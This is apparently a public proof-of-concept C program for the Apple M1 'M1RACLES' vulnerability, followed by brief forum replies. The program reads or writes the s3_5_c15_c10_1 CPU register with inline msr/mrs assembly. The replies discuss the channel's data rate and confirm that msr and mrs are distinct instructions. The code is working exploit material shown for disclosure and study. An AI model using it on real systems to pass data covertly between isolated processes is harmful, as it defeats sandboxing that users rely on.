m1racles-poc.c

/*
 * m1racle-poc: a basic proof of concept for the M1RACLES vulnerability in the Apple M1.
 * 
 * This program allows you to read and write the state of the s3_5_c15_c10_1 CPU register.
 *
 * Please visit m1racles.com for more information.
 *
 * Licensed under the MIT license.
 */

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>

int main(int argc, char **argv)
{
     uint64_t val;
     if (argc > 1) {
         val = atoi(argv[1]);
         asm("msr s3_5_c15_c10_1, %x0" : : "r"(val));
     } else {
         asm("mrs %x0, s3_5_c15_c10_1" : "=r"(val));
         printf("%llu\n", val);
     }
     return 0;
}

I see, but atleast it'll lower the data rate significantly, right? Thanks for the quick reply BTW. :)

Proportional to how much time you spend on it. If you peg a CPU core then you could halve the data rate of another CPU core trying to use the channel.

are "msr" and "mrs" supposed to be different? Looking at the code, it seems there is a mistake there. (I don't know ARM assembly)

are "msr" and "mrs" supposed to be different? Looking at the code, it seems there is a mistake there. (I don't know ARM assembly)

Yes, they are.

https://developer.arm.com/documentation/dui0802/a/A64-General-Instructions/MSR--register-

https://developer.arm.com/documentation/dui0802/a/A64-General-Instructions/MRS

Got it. Thanks!